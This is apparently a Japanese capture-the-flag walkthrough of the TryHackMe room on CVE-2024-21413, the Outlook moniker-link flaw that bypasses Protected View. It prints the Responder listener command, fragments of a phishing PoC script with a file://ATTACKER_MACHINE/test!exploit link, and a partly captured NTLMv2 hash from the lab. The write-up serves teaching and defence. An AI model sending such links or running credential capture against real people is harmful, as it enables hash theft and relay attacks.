TryHackMe Moniker Link (CVE-2024-21413) ウォークスルー: Outlook Protected View のバイパスから、巧妙に細工されたモニカーリンクによる NTLMv2 ハッシュの取得に至る攻撃手法。
TryHackMe の「Moniker Link」ルーム の完全なウォークスルーです。CVE-2024-21413(2024年の Microsoft Outlook の脆弱性)を悪用して、被害者がフィッシングメール内のリンクをクリックした瞬間に NTLMv2 ハッシュを盗み出します — マクロも添付ファイルも、目立ったセキュリティ警告もありません。
CVE-2024-21413(「Moniker Link」)は、Outlook が Windows OLE の「モニカー」構文(パスの末尾に ! を付ける、例: file://host/share!something)を使用する file:// リンクを検証する方法における脆弱性です。Outlook は外部ファイルリンクを Protected View で開くことになっています。Protected View はファイルをサンドボックス化し、資格情報が漏れる前にユーザーに警告します。余分な ! は Outlook 自身の URL パーサーをわずかに壊し、Protected View を完全にスキップして、リンクをそのまま Windows に渡します。すると Windows は、それが UNC パスのように見えるため、攻撃者のサーバーに対して SMB 認証を静かに試みます。この認証試行により、被害者が普通に見えるリンクをクリックしただけで、被害者の NTLMv2 ハッシュが漏えいします。
| タスク | 目的 |
|---|---|
| 1. 偵察 | CVE と、モニカーリンクの解析バグが Protected View を回避する仕組みを理解する |
| 2. リスナーのセットアップ | 外部への SMB 認証を捕捉するために Responder を起動する |
| 3. 武器化 | 悪意のあるモニカーリンクを含むフィッシングメールを作成する |
| 4. 配信 | メールを被害者のメールボックスに送信する |
| 5. 捕捉 | 被害者にリンクをクリックさせ、NTLMv2 ハッシュを捕捉する |
responder -I ens5
Responder は、何かを送信する前に攻撃側ボックスのインターフェース上で起動され、LLMNR、NBT-NS、DNS ポイズニングが有効になっています。これが実際に認証情報の漏えいを捕捉します。エクスプロイトが Outlook を騙して攻撃者の IP への SMB 認証を試みさせると、Responder がその反対側で待ち受けて捕捉します。

対象は標準的な Outlook メールボックス [email protected] で、フィッシングメールが届く前の通常の受信トレイ表示になっています。これがこのルームの以降の作業の基準点です。

sender_email = '[email protected]'
receiver_email = '[email protected]'
...
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>
エクスプロイト(CMNatic 氏公開の CVE-2024-21413 PoC)は、SMTP 経由で HTML メールを構築・送信する小さな Python スクリプトです。ペイロードはすべて 1 行にあります。攻撃者のマシンを指す <a href="file://..."> リンクで、パスの末尾に !exploit が追加されています。この末尾の ! がまさにバグの全体像です。これにより Outlook のリンクパーサーが URL を誤分類し、通常は外部ファイルリンクに適用される Protected View チェックをスキップします。

python3 exploit.py
Enter your attacker email password: attacker
Email delivered
スクリプトを実行するとメールサーバーへの認証が行われ、作成したメールが被害者に送信されます。Email delivered は、攻撃者のメールボックスから正常に送信されたことを示します。

メールは [email protected] の受信トレイに CMNatic から届き、件名は CVE-2024-21413 で、中身は「クリックして」というハイパーリンク 1 つだけです。添付ファイルもマクロ警告も、フィッシングフィルターや慎重なユーザーが通常疑うようなものは何もありません。

「クリックして」をクリックすると、Outlook の Windows Explorer エラーダイアログが表示されます: 「'\10.113.72.84\test!exploit' が見つかりません。正しい場所または Web アドレスを使用していることを確認してください。」 このエラーは、実際にはエクスプロイトがすでに成功した証拠です。このダイアログが表示されるまでに、Windows はすでにその UNC パスを SMB 経由で解決しようとし、その過程で 10.113.72.84(攻撃者マシン)への認証を完了しています。見える失敗は、そもそも存在するはずのなかった共有を見つけられない Explorer の失敗にすぎません。認証情報の漏えいは、エラーボックスが表示される前に静かに発生しています。

[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash : tryhackme::THM-MONIKERLINK:3f2abcd40483ccba:...
攻撃者ボックスに戻ると、Responder はすでに THM-MONIKERLINK\tryhackme の完全な NTLMv2-SSP ハンドシェイクを捕捉しており、発信元は 10.113.150.143(被害者)です。資格情報のプロンプトもセキュリティ警告もなく、普通のリンクに見えるものを 1 回クリックしただけのユーザー操作もありません。Outlook がモニカーリンクを誤って処理した瞬間に、ハッシュはクラックまたはリレー可能な状態になっていました。

!)が脆弱性のすべてでした。 CVE-2024-21413 は、URL/パスパーサーがセキュリティ境界のバイパスにおいて一般的な原因であることを思い出させてくれます。不正な入力は、チェックをすり抜けるために複雑である必要はなく、チェックがカバーしていないコードパスに入り込むだけでよいのです。file:// リンクからの NTLM リレー/捕捉は古い手法です。この CVE が注目されたのは、Outlook が警告なしにリンクを発火させるべきではなかったからです。